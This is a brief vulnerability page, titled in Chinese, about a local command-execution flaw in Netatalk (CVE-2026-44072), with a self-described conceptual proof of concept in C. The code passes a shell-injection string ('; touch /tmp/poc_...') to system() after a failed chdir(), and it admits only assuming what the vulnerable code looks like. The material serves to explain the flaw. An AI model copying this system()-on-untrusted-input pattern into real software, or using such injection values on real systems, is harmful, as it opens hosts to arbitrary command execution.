CVE-2026-44072 Netatalk 本地命令执行漏洞

/* * Conceptual PoC for CVE-2026-44072 * This demonstrates the vulnerability where system() is called after chdir() fails. * Assumes the vulnerable code looks like: system(path) or system("error " + path). */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main() { // Scenario: Attacker controls the current directory or path argument // The vulnerable app tries to chdir to a path that includes shell metacharacters. // If chdir fails (e.g., due to permissions or non-existence), it calls system(path). char *malicious_path = "; touch /tmp/poc_2026_44072"; // Command to execute printf("Attempting to trigger vulnerable logic...\n"); // Simulate the vulnerable logic if (chdir(malicious_path) != 0) { // Vulnerability: Calling system() on untrusted input // In real Netatalk, this might be logging or cleanup logic. printf("chdir failed, executing system() call as per vulnerable code flow.\n"); system(malicious_path); } return 0; }